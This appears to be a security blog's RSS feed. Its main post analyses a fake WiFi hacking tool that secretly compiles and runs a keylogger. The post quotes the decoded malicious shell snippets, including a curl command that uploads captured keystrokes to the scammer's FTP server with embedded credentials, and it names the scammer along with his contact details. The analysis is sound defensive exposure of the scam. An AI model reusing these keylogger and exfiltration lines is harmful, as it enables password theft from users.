<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>I Am Security &#187; technical</title>
	<atom:link href="http://www.iamit.org/blog/tag/technical/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.iamit.org/blog</link>
	<description>Security news and research</description>
	<lastBuildDate>Mon, 26 Jul 2010 09:20:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
<cloud domain='www.iamit.org' port='80' path='/blog/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Tying up loose ends before Vegas (scammer closure)</title>
		<link>http://www.iamit.org/blog/2010/07/tying-up-loose-ends-before-vegas-scammer-closure/</link>
		<comments>http://www.iamit.org/blog/2010/07/tying-up-loose-ends-before-vegas-scammer-closure/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 09:20:36 +0000</pubDate>
		<dc:creator>iamit</dc:creator>
				<category><![CDATA[Opinion]]></category>
		<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Attack Vector]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[identity]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[summary]]></category>
		<category><![CDATA[technical]]></category>

		<guid isPermaLink="false">http://www.iamit.org/blog/?p=501</guid>
		<description><![CDATA[Instead of updating the post in question (again), I figured I&#8217;ll post all the new info here and call this a wrap. So, we all know about the security scammer now, and the different ways he is working to defraud innocent users and steal their data and money. It has been quite an experience tracking [...]


Related posts:<ol><li><a href='http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/' rel='bookmark' title='Permanent Link: How [not to] scam security people'>How [not to] scam security people</a></li>
<li><a href='http://www.iamit.org/blog/2010/07/the-turkish-hack-and-another-case-for-il-cert/' rel='bookmark' title='Permanent Link: The Turkish hack and another case for IL-CERT'>The Turkish hack and another case for IL-CERT</a></li>
<li><a href='http://www.iamit.org/blog/2010/06/identity-crisis/' rel='bookmark' title='Permanent Link: Identity crisis'>Identity crisis</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Instead of updating the <a href="http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/">post in question</a> (again), I figured I&#8217;ll post all the new info here and call this a wrap.</p>
<p>So, we all know about the security scammer now, and the different ways he is working to defraud innocent users and steal their data and money. It has been quite an experience tracking this scam down and getting all the facts right (from the technical aspect of inspecting the keylogger and binaries used to sniff your data, to actually communicating with the scammer and getting his take on things).</p>
<p>Nevertheless, I must say that I appreciate the consistency in which our scammer (I&#8217;ll call him Fadzil Mahfodh as that&#8217;s his real name) has been trying to mask his wrongdoings. From trying to go around the facts and divert us to other software:</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil1.png" rel="lightbox[501]"><img class="size-medium wp-image-502 alignnone" title="fadzil1" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil1-300x57.png" alt="" width="300" height="57" /></a></p>
<p>To &#8220;bragging&#8221; about his skills and the fact that his scripts are &#8220;leet&#8221; enough to get past some people:</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil2.png" rel="lightbox[501]"><img class="size-medium wp-image-503 alignnone" title="fadzil2" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil2-300x79.png" alt="" width="300" height="79" /></a></p>
<p>And finally to the obvious &#8211; throwing a fit and trolling &#8211; initially by threatning to post my picture and CV on adult websites (what would my CV be good for on an adult site anyway??? must be a Malaysian thing <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ):</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil3.png" rel="lightbox[501]"><img class="size-medium wp-image-504 alignnone" title="fadzil3" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil3-300x39.png" alt="" width="300" height="39" /></a></p>
<p>All of which has been accompanied by adding my picture to his website (wow! I&#8217;m famous now!):</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.54.25-AM.png" rel="lightbox[501]"><img class="size-medium wp-image-505 alignnone" title="Screen shot 2010-07-26 at 11.54.25 AM" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.54.25-AM-300x213.png" alt="" width="300" height="213" /></a></p>
<p>Getting it removed by the Google Blogger DMCA team, opening up a <a href="http://chikiabu.blogspot.com/">new blog site</a> to accompany the specific <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.58.16-AM.png" rel="lightbox[501]"><img class="alignright size-medium wp-image-507" title="Screen shot 2010-07-26 at 11.58.16 AM" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.58.16-AM-181x300.png" alt="" width="181" height="300" /></a>&#8220;hack wpa without a dic&#8221; post along with my picture, and making some cosmetic changes to the site, removing the FBI log (which has been replaced with a larger DHS logo), and adding a disclaimer at his website stating that this is all a mistake, that I have been trying to pressure him into criminal actions, and that he has all our communications logged and will be happy to use it to prosecute. Too bad this has been removed from his site before I had a chance to document it &#8211; but trust me it was there! Pure epicness!</p>
<p>Now, I know &#8211; it&#8217;s not really fair to pick on these guys that hard. That&#8217;s why I&#8217;m leaving this to the Malaysia CERT (as you may have noticed, 1337 Fadzil forgot to proxy his connections to this blog and his IP has been logged on all comments and relevant hits on the site), to figure out how to handle. I truly hope that his suggestion to use the details provided on his paypal account and bank account will actually yield some results, and wish our friend the best of luck in his endeavors in the security business (although I highly doubt he&#8217;ll be at DefCon later this week).</p>
<p>Below are attached some of the additional supporting materials for the sake of fully disclosing all the communications with Fadzil.</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil.txt">Apache-access-log_FILTERED</a>, <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/Fadzil-chat.rtf">Fadzil-chat</a>, <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/karma-decoded.sh.txt">karma-decoded.sh</a>, <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/bg2-decoded.sh.txt">bg2-decoded.sh</a></p>


<p>Related posts:<ol><li><a href='http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/' rel='bookmark' title='Permanent Link: How [not to] scam security people'>How [not to] scam security people</a></li>
<li><a href='http://www.iamit.org/blog/2010/07/the-turkish-hack-and-another-case-for-il-cert/' rel='bookmark' title='Permanent Link: The Turkish hack and another case for IL-CERT'>The Turkish hack and another case for IL-CERT</a></li>
<li><a href='http://www.iamit.org/blog/2010/06/identity-crisis/' rel='bookmark' title='Permanent Link: Identity crisis'>Identity crisis</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.iamit.org/blog/2010/07/tying-up-loose-ends-before-vegas-scammer-closure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How [not to] scam security people</title>
		<link>http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/</link>
		<comments>http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 06:48:52 +0000</pubDate>
		<dc:creator>iamit</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[Attack Vector]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[eCrime]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[technical]]></category>

		<guid isPermaLink="false">http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/</guid>
		<description><![CDATA[An analysis of a rogue security tool that tries to steal passwords and scam people out of their paypal money and accounts.


Related posts:<ol><li><a href='http://www.iamit.org/blog/2009/04/credit-cards-on-a-clearance-sale-and-your-internet-security/' rel='bookmark' title='Permanent Link: Credit cards on a clearance sale and your internet security'>Credit cards on a clearance sale and your internet security</a></li>
<li><a href='http://www.iamit.org/blog/2010/07/tying-up-loose-ends-before-vegas-scammer-closure/' rel='bookmark' title='Permanent Link: Tying up loose ends before Vegas (scammer closure)'>Tying up loose ends before Vegas (scammer closure)</a></li>
<li><a href='http://www.iamit.org/blog/2010/07/the-turkish-hack-and-another-case-for-il-cert/' rel='bookmark' title='Permanent Link: The Turkish hack and another case for IL-CERT'>The Turkish hack and another case for IL-CERT</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>I have been playing around with some wireless security for one of my customers lately. Having a pretty solid understanding of how things work, but also having been challenged to try out “everything there is to try” by the client, I went off to look for new tools that I might not have tried before.</p>
<p>It did not take too long, and with the accidental help of <a href="http://techcrunch.com/2010/07/05/employees-challenged-to-crack-facebook-security-succeed/">TechCrunch</a> (btw TechCrunch &#8211; you may want to change this link to something else after you read this&#8230;) I ran into <a href="http://fadzilmahfodh.blogspot.com/2009/07/8-wpa-hack-without-using-dictionary.html">this</a> “Wifi Security” site.</p>
<p>Yes, I know, the design is horrible, the scrolling thing on the top of the page is just missing a &lt;blink&gt; tag to drive you into an epileptic seizure, and the music, well, it’s music as part of a website &#8211; welcome to the 80’s.</p>
<p><img class="alignright size-full wp-image-485" title="used-by-fbi" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/used-by-fbi.png" alt="" width="188" height="176" />Not being deterred by the horrible design, I went ahead and downloaded the “tools” offered in the article. After all, the FBI are using this guy’s tools&#8230;<br />
A quick look, and I was faced with three supposed shell scripts (ended with a .sh), and a tarball called “rogue.tar.gz”.<br />
When you get a shellscript that isn’t a shellscript, and is being reported as an “ELF” executable, you should get your detective hat on, which is exactly what I did.<br />
It didn’t take long, and the scam unfolded pretty quickly. Here’s a quick recap of what’s going on with this guy’s website:</p>
<ol style="list-style-type: decimal;">
<li>The provided “tools” aren’t even security tools. Initially I figured &#8211; ok, so this guy packed a few open source wireless tools and scripted them for easy usage. No. Not even <a href="http://theta44.org/karma/index.html">karma</a> which the main script suggests that is being used (appropriately I might add for the purpose of what this script is SUPPOSED to do).</li>
<li>A quick look at the tarball revealed that is actually contains a keylogger that has been graciously stolen from <a href="http://code.google.com/p/logkeys/">here</a>.</li>
<li>When the main script (karma.sh) is run, two supporting scripts (bg1.sh and bg2.sh) are launched. They are taking care of compiling the keylogger, running it, and pushing the logged keys logfile to an FTP for the attacker (I guess we can call him that now) to use at his convenience.</li>
<li>You are prompted to log into your webmail account, send a request for a free activation code with an indemnity text, which would be answered by the “automatic” processes on their end promptly so you can enter the code into the installer and start playing around with WiFi security. FTW!</li>
</ol>
<p>Observant readers may notice that I referred to the tool as having “supposed” script files, that are actually binaries, and now I refer back to them as scripts. What gives?<br />
Well, simply put, our attacker didn’t really take the time to code an application, he just wrote a couple of shell scripts, and in order to try to hide his malicious and ill-intent actions he “compiled” them with a utility that packs shellscripts in executable form called <a href="http://www.unixref.com/manPages/shc.html">shc</a>. The road from a linux executable to realizing what the script originally was is pretty short&#8230;</p>
<p>Now, that most of the cards are on the table, we can actually take a look at what scam this guy is running, and how he runs this. Following are some snippets from the shellscript that was presumably a wireless security tool. Even if you are not an avid Linux shellscripter, I’m sure that the annotations (true to the original) will shed some light&#8230;</p>
<blockquote><p># START BACKGROUND PROGRAMS BG1(RUN LINUX KEYLOGGER) AND BG2(RUN MONITORING KEYSTROKES AND SEND LOG.TXT FILES TO DRIVEHQ)<br />
cd lkl2<br />
./configure &#8211;silent<br />
make &#8211;silent<br />
make install &#8211;silent<br />
cd<br />
chmod +x /root/bg1.sh<br />
nohup /root/bg1.sh &amp;<br />
rm -r /root/nohup.out<br />
chmod +x /root/bg2.sh<br />
nohup /root/bg2.sh &amp;<br />
sleep 2<br />
rm -r /root/nohup.out<br />
clear</p></blockquote>
<p>So, we see how the keylogger is compiled, installed and the supporting scripts bg1 and bg2 are run.<br />
Next up, is the installer itself (if one can call that) which prompts for the user to send a FREE activation request to the attacker:</p>
<blockquote><p># MENU LIST<br />
echo “”<br />
echo “&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; “<br />
echo “THIS MESSAGES WILL NOT APPEAR AFTER karma.sh IS ACTIVATED “<br />
echo “&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; “<br />
echo “”<br />
echo “1. Compose indemnity text below and send to <a href="mailto:fadzilmahfodh@gmail.com">fadzilmahfodh@gmail.com</a>”<br />
echo “   Yes, I want activation code and will never use for illegal purpose”<br />
echo “”<br />
echo “2. Check your email for activation code after sending text “<br />
echo “”<br />
read -p “3. Send now ? (0=no, 1=yes) “ act<br />
clear</p></blockquote>
<p>Obviously, the message WILL appear, as this thing is NEVER going to be activated &#8211; remember &#8211; this is a shellscript, and the “menu” appears as-is unconditionally so you can try to activate this until blue in the face&#8230; but we are getting ahead of ourselves.</p>
<p>I mentioned in the title that the scam is targeting security people. Besides the obvious wireless security related topic, here’s another little piece of “evidence” from the script:</p>
<blockquote><p>read -p  &#8220;Which backtrack are you using ? (bt3=3,bt4=4) &#8221; bt</p></blockquote>
<p>Our little friend is assuming that we are using BackTrack (as most security folks do) to run their wireless tests&#8230; the script continues according to which version of BT is entered (to accommodate the differences in network configuration&#8230;).<br />
I’ll skip through the network connectivity checks (trust me), and next up the attacker makes sure that firefox isn’t running, and:</p>
<blockquote><p>firefox https://login.yahoo.com/ &amp;<br />
sleep 4<br />
firefox https://www.google.com/accounts/ManageAccount &amp;<br />
sleep 4<br />
firefox http://home.live.com/</p></blockquote>
<p>The attacker obviously wants us to log into one of our webmail accounts so we can send him that activation request email with the indemnity text (how considerate). Keeping in mind that the keylogger is on and it’s activities are uploaded in the background to the attacker’s FTP &#8211; this is exactly where most people will fall into the trap.</p>
<p>And for the grand finale &#8211; the actual activation (you’d think huh?):</p>
<blockquote><p>############################<br />
# DECOY FOR ACTIVATION CODE<br />
clear<br />
echo &#8220;&#8221;<br />
read -p &#8220;ENTER ROGUE AP ACTIVATION CODE : &#8221; pls<br />
sleep 3<br />
echo &#8220;You have entered an invalid code &#8221;<br />
echo &#8220;&#8221;<br />
exit<br />
############################</p></blockquote>
<p>You have to admit that commented code is the best! It’s actually saying “decoy”! How f*&amp;^ing awesome is that? You get to craft your email after logging into your Yahoo!/Gmail/Live account, and then go back to this completely useless activation part. I do like the fact that the author put a “sleep 3” before letting you know that you entered the wrong code. As if it was hard at work verifying it. Classic.</p>
<p>That’s about it for the technical analysis, but it wouldn’t be complete without the actual interaction with the attacker, wouldn’t it? Let’s see &#8211; so, we crafted a “request for free activation” email with the indemnity text in it, and guess what &#8211; we got a reply!</p>
<blockquote><p>Hi</p>
<p>1. We are preparing  the activation code for you.</p>
<p>2. To make worth our while, could you consider a small donation (suggest euro 11) to support the website via Paypal a/c <a href="mailto:fadzilmahfodh@yahoo.com">fadzilmahfodh@yahoo.com</a> ?</p>
<p>Cheers.</p>
<p>EMAIL VIA MY CELLPHONE FOR FAST RESPONSE<br />
<a href="http://fadzilmahfodh.blogspot.com">http://fadzilmahfodh.blogspot.com</a></p></blockquote>
<p>So not only there is no activation code to be “prepared” for me (what? I’m going to feed it to the “decoy” and it’ll magically work?), we are being prompted to donate some cash for the poor bastard who worked so hard to make this tool for the community&#8230;<br />
I cordially answered that:</p>
<p>1. Thanks. I’ll be looking forward for the activation code.</p>
<p>2. I&#8217;ll probably consider it after being able to test out the tool.</p>
<p>Which was replied with a suggestion to try the trial version on his site (which relates to a completely different tool, but let’s not be too picky about it&#8230;).<br />
Now, thankfully, I was using one of my throw-away yahoo accounts, and apparently so our attacker. If you haven’t noticed, one of the cool things in the new Yahoo! webmail is that you get an indication whether the person emailing you is online or not, and you can chat with them!<br />
Guess what happens next&#8230;</p>
<blockquote><p>&#8212;&#8211; Our chat on Wed, 7/7/10 2:53 PM &#8212;&#8211;<br />
Iftach(2:34 PM):  hey man<br />
Iftach(2:34 PM):  mind if a ask a couple of questions?<br />
fadzilmahfodh(2:34 PM):  okey<br />
Iftach(2:35 PM):  cool. I&#8217;m doing this research on security tools and their<br />
authors&#8230;<br />
fadzilmahfodh(2:35 PM):  okey<br />
Iftach(2:35 PM):  saw your tool and wanted to hear about how you got to write<br />
it, how well is it distributed in the community etc&#8230;<br />
Iftach(2:36 PM):  does that activation thing a common practice with free tools?<br />
fadzilmahfodh(2:36 PM):  yes see, we need to maintain our website thus we need<br />
supporter<br />
fadzilmahfodh(2:37 PM):  everyday there are at least 500++ people asking for<br />
code<br />
Iftach(2:37 PM):  I see.<br />
fadzilmahfodh(2:37 PM):  i no longer able to provide for free<br />
fadzilmahfodh(2:37 PM):  too time consuming and i need to be compensated for my<br />
time and effort<br />
fadzilmahfodh(2:38 PM):  hope you understand</p></blockquote>
<p>Time and effort? Right&#8230; For a scam script that doesn’t even have any networking functionality&#8230; Ok, I’ll go along&#8230;</p>
<blockquote><p>Iftach(2:40 PM):  now, about the tool &#8211; that&#8217;s a linux binary obviously (thought<br />
it was a shell script at the beginning). Did you base it on something existing<br />
or write yourself?<br />
fadzilmahfodh(2:41 PM):  i wrote it by my self then scramble the code<br />
Iftach(2:41 PM):  hence the activation i see&#8230;<br />
fadzilmahfodh(2:42 PM):  i can afford to give &#8216;free lunch&#8217; to everybody. Hope<br />
you understand<br />
Iftach(2:43 PM):  sure, i understand.<br />
fadzilmahfodh(2:43 PM):  So you interested in the software?<br />
Iftach(2:44 PM):  more from a research point of view &#8211; for an article I&#8217;m<br />
writing<br />
Iftach(2:44 PM):  so, the installer you use, I see that it contains some<br />
additional code that is being compiled on the client.<br />
fadzilmahfodh(2:45 PM):  Yes. The purpose is the code will be unique to user<br />
hardware<br />
Iftach(2:45 PM):  and I saw that there were some FTP connections made? Is that<br />
to verify that the client is a registered one?<br />
fadzilmahfodh(2:46 PM):  Well, that is another story&#8230;<br />
Iftach(2:46 PM):  I&#8217;m listening<br />
fadzilmahfodh(2:46 PM):  maybe some other time huh<br />
Iftach(2:47 PM):  OK. Last question &#8211; do you get a lot of account passwords<br />
through that keylogger that sends the data to your FTP?<br />
fadzilmahfodh(2:47 PM):  sorry, no comment unless i am in court</p></blockquote>
<p>At this point of my “interview” with him, I guess that my cover was going to get pretty real, hence this “article” that you are reading&#8230; You can’t make this stuff up so I figured I’ll blog it&#8230;</p>
<blockquote><p>Iftach(2:48 PM):  aha, and it&#8217;s part of the installer because? just to make sure<br />
people can send the activation email correctly?<br />
Iftach(2:48 PM):  Back to statistics, out of the average 500 ppl asking for<br />
activation &#8211; how many passwords do you manage to grab?<br />
fadzilmahfodh(2:49 PM):  well, the ftp is to confirm that software match with<br />
data in server<br />
fadzilmahfodh(2:49 PM):  if it does not match, it will fail to run<br />
fadzilmahfodh(2:49 PM):  or i can just change the data/activation code in the<br />
server<br />
fadzilmahfodh(2:49 PM):  then everything will not run<br />
Iftach(2:49 PM):  and how does that relate to the keylogging?<br />
fadzilmahfodh(2:50 PM):  well, that i another story&#8230;<br />
Iftach(2:51 PM):  I mean &#8211; the keylogger data is sent to that FTP. Is that part<br />
of the verification or is this a separate process?<br />
Iftach(2:51 PM):  So, on average, how many accounts you manage to get on that<br />
FTP server per day?<br />
fadzilmahfodh(2:51 PM):  well, you do not even support my website and how the<br />
hell am i going to tell you<br />
Iftach(2:52 PM):  Let&#8217;s just get it straight &#8211; I&#8217;m not going to &#8220;support&#8221; the<br />
site&#8230; I&#8217;m just doing some research on security tools.<br />
fadzilmahfodh(2:52 PM):  bye<br />
Iftach(2:53 PM):  You are free to tell, or not if you don&#8217;t want to. But I&#8217;m<br />
publishing the story as it is&#8230;<br />
Iftach(2:53 PM):  With your acknowledgment that you use a keylogger to steal your<br />
site visitor passwords. Unless you want to be quoted otherwise in the story&#8230;</p></blockquote>
<p>True to my chat with Fadzil (or whatever his name is), I’m telling it the way it is.</p>
<p>But wait, there’s more!!! more? how come? well, just to put some icing on this, I went back and decoded the script that was in charge of the FTP upload&#8230;</p>
<blockquote><p>curl -s -k &#8211;ftp-ssl -T /pentest/log.txt -u fadzilmahfodh:buaya ftp://ftp.drivehq.com/code$number.txt</p></blockquote>
<p>Just to see the final lameness come to life as I tested the account:</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/wpid-ftpfail-2010-07-8-09-48.png" rel="lightbox[483]"><img src="http://www.iamit.org/blog/wp-content/uploads/2010/07/wpid-ftpfail-2010-07-8-09-48.png" alt="wpid-ftpfail-2010-07-8-09-48.png" width="514" height="178" /></a></p>
<p>And you know what &#8211; it’s all our fault! If we as a community would have “donated” to this guy for all his hard work and effort that he’s been putting in creating tools that are used by the FBI (check out his site&#8230;), he would have had the money to keep his driveHQ account in order and could make a decent living out of ripping people off.</p>
<p>Seriously.</p>
<p>p.s. you can find me talking about this entertaining even on <a href="http://www.isdpodcast.com/episode-167-targeting-security-newbies-w-iftach-ian-amit/">the ISDPodcast</a> with my buddy Rick, I just had to vent off before putting this in writing, so hopefully this account is a bit more thorough and to your liking&#8230;</p>
<p><strong>Update 7/13/2010</strong>: I could not have wished for better response from the community on this post, but having the actual culprit respond here is priceless. As you can probably see, Fadzil has posted a comment, and to sum things up let me just state that I&#8217;m not that surprised by its content (I think it&#8217;s called &#8220;pulling a ligatt&#8221; these days&#8230;). On one hand he offhandedly dismisses that there was ever such an issue with a keylogger, on the other hand he promises a better version with (and I&#8217;m quoting): &#8220;rogue ap + fake login page + keylogger + ftp = to get WPA or WPA2 password&#8221;.</p>
<p>You don&#8217;t say?! I&#8217;m still waiting for the security practitioner that will explain to me why would anyone need a keylogger + ftp to use a rogue AP with fake login pages. I&#8217;m really hoping that this post helps the community learn more on criminals such as the one we are dealing with here. Don&#8217;t be tempted to &#8220;smooth-talk&#8221; that tries to look technical and hackerish while having nothing behind it. And if you have had any additional experiences with this guy feel free to add them to the comments or email me so I&#8217;ll update this story for everyone&#8217;s benefit.</p>


<p>Related posts:<ol><li><a href='http://www.iamit.org/blog/2009/04/credit-cards-on-a-clearance-sale-and-your-internet-security/' rel='bookmark' title='Permanent Link: Credit cards on a clearance sale and your internet security'>Credit cards on a clearance sale and your internet security</a></li>
<li><a href='http://www.iamit.org/blog/2010/07/tying-up-loose-ends-before-vegas-scammer-closure/' rel='bookmark' title='Permanent Link: Tying up loose ends before Vegas (scammer closure)'>Tying up loose ends before Vegas (scammer closure)</a></li>
<li><a href='http://www.iamit.org/blog/2010/07/the-turkish-hack-and-another-case-for-il-cert/' rel='bookmark' title='Permanent Link: The Turkish hack and another case for IL-CERT'>The Turkish hack and another case for IL-CERT</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>DefCon 17 talk video available!</title>
		<link>http://www.iamit.org/blog/2009/11/defcon-17-talk-video-available/</link>
		<comments>http://www.iamit.org/blog/2009/11/defcon-17-talk-video-available/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 07:13:33 +0000</pubDate>
		<dc:creator>iamit</dc:creator>
				<category><![CDATA[Opinion]]></category>
		<category><![CDATA[Security Research]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[defcon]]></category>
		<category><![CDATA[eCrime]]></category>
		<category><![CDATA[malweb]]></category>
		<category><![CDATA[predictions]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[technical]]></category>

		<guid isPermaLink="false">http://www.iamit.org/blog/?p=379</guid>
		<description><![CDATA[DefCon 17 talk video of my talk


Related posts:<ol><li><a href='http://www.iamit.org/blog/2010/03/its-all-about-the-money/' rel='bookmark' title='Permanent Link: It&#8217;s all about the money'>It&#8217;s all about the money</a></li>
<li><a href='http://www.iamit.org/blog/2007/08/post-blackhat-pre-defcon/' rel='bookmark' title='Permanent Link: Post BlackHat, pre DefCon'>Post BlackHat, pre DefCon</a></li>
<li><a href='http://www.iamit.org/blog/2010/01/cybercrime-cyberwarfare-and-2010/' rel='bookmark' title='Permanent Link: CyberCrime, CyberWarfare, and 2010'>CyberCrime, CyberWarfare, and 2010</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>For your viewing pleasure &#8211; if you happened to miss out on DefCon 17 earlier this year, the full video and slides of my talk &#8220;<a href="https://media.defcon.org/dc-17/video/DEFCON%2017%20Hacking%20Conference%20Presentation%20By%20Iftach%20Ian%20Amit%20-%20Down%20the%20Rabbit%20Hole%20Uncovering%20a%20Criminal%20Server%20-%20Video%20and%20Slides.m4v">Down the Rabbit Hole &#8211; uncovering a criminal server</a>&#8221; have been uploaded to the DefCon archive page.</p>
<p>The slides and audio are also available in my section on the DefCon17 archives: <a href="http://defcon.org/html/links/dc-archives/dc-17-archive.html#Amit">http://defcon.org/html/links/dc-archives/dc-17-archive.html#Amit</a></p>
<p>Have fun!</p>


<p>Related posts:<ol><li><a href='http://www.iamit.org/blog/2010/03/its-all-about-the-money/' rel='bookmark' title='Permanent Link: It&#8217;s all about the money'>It&#8217;s all about the money</a></li>
<li><a href='http://www.iamit.org/blog/2007/08/post-blackhat-pre-defcon/' rel='bookmark' title='Permanent Link: Post BlackHat, pre DefCon'>Post BlackHat, pre DefCon</a></li>
<li><a href='http://www.iamit.org/blog/2010/01/cybercrime-cyberwarfare-and-2010/' rel='bookmark' title='Permanent Link: CyberCrime, CyberWarfare, and 2010'>CyberCrime, CyberWarfare, and 2010</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.iamit.org/blog/2009/11/defcon-17-talk-video-available/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Blocking legitimate sites in real-time</title>
		<link>http://www.iamit.org/blog/2008/09/blocking-legitimate-sites-in-real-time/</link>
		<comments>http://www.iamit.org/blog/2008/09/blocking-legitimate-sites-in-real-time/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 03:23:09 +0000</pubDate>
		<dc:creator>iamit</dc:creator>
				<category><![CDATA[Aladdin]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[technical]]></category>

		<guid isPermaLink="false">http://www.iamit.org/blog/?p=105</guid>
		<description><![CDATA[I Ran into this on Slashdot: http://tech.slashdot.org/tech/08/09/21/1827209.shtml. It seems like the Google filter for malicious sites was blocking a whole domain name &#8211; including all sub-domains, which happened to be a dynamic DNS provider. A Big false positive, and a big problem to all the legitimate sites that were hosted using this domain. Disclosure &#8211; [...]


Related posts:<ol><li><a href='http://www.iamit.org/blog/2009/02/blocking-facebook-not-popular-and-not-effective/' rel='bookmark' title='Permanent Link: Blocking Facebook? Not popular, and not effective'>Blocking Facebook? Not popular, and not effective</a></li>
<li><a href='http://www.iamit.org/blog/2007/06/have-something-to-hide-make-a-lot-of-noise-about-it/' rel='bookmark' title='Permanent Link: Have something to hide? make a lot of noise about it!'>Have something to hide? make a lot of noise about it!</a></li>
<li><a href='http://www.iamit.org/blog/2009/03/the-great-av-vs-av-debacle-starts-again/' rel='bookmark' title='Permanent Link: The great AV vs. AV debacle starts again?'>The great AV vs. AV debacle starts again?</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div>
<p>I Ran into this on Slashdot: <a href="http://tech.slashdot.org/tech/08/09/21/1827209.shtml">http://tech.slashdot.org/tech/08/09/21/1827209.shtml</a>. It seems like the Google filter for malicious sites was blocking a whole domain name &#8211; including all sub-domains, which happened to be a dynamic DNS provider. A Big false positive, and a big problem to all the legitimate sites that were hosted using this domain. Disclosure &#8211; I used to run my personal domain using the services provided by DynDNS as well.</p>
<p>The root of the problem here lies in the concept that someone (even if it&#8217;s Google) presumes that providing a list of &#8220;bad&#8221; sites can be used to provide security to users. It&#8217;s just not going to work no matter how fast the list is updated, and no matter how &#8220;real-time&#8221; the scanning and categorizing of the sites are. Unless the real-time is applied to where it is supposed to be applied &#8211; when a user requests content from a site, scanning in real-time the content that this user receives. No more, no less. Remember that content differs from user to user, and malicious code may be delivered to one but not to another user!.</p></div>


<p>Related posts:<ol><li><a href='http://www.iamit.org/blog/2009/02/blocking-facebook-not-popular-and-not-effective/' rel='bookmark' title='Permanent Link: Blocking Facebook? Not popular, and not effective'>Blocking Facebook? Not popular, and not effective</a></li>
<li><a href='http://www.iamit.org/blog/2007/06/have-something-to-hide-make-a-lot-of-noise-about-it/' rel='bookmark' title='Permanent Link: Have something to hide? make a lot of noise about it!'>Have something to hide? make a lot of noise about it!</a></li>
<li><a href='http://www.iamit.org/blog/2009/03/the-great-av-vs-av-debacle-starts-again/' rel='bookmark' title='Permanent Link: The great AV vs. AV debacle starts again?'>The great AV vs. AV debacle starts again?</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.iamit.org/blog/2008/09/blocking-legitimate-sites-in-real-time/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malicious code, exploit vectors or top-programmer job?</title>
		<link>http://www.iamit.org/blog/2007/05/malicious-code-exploit-vectors-or-top-programmer-job/</link>
		<comments>http://www.iamit.org/blog/2007/05/malicious-code-exploit-vectors-or-top-programmer-job/#comments</comments>
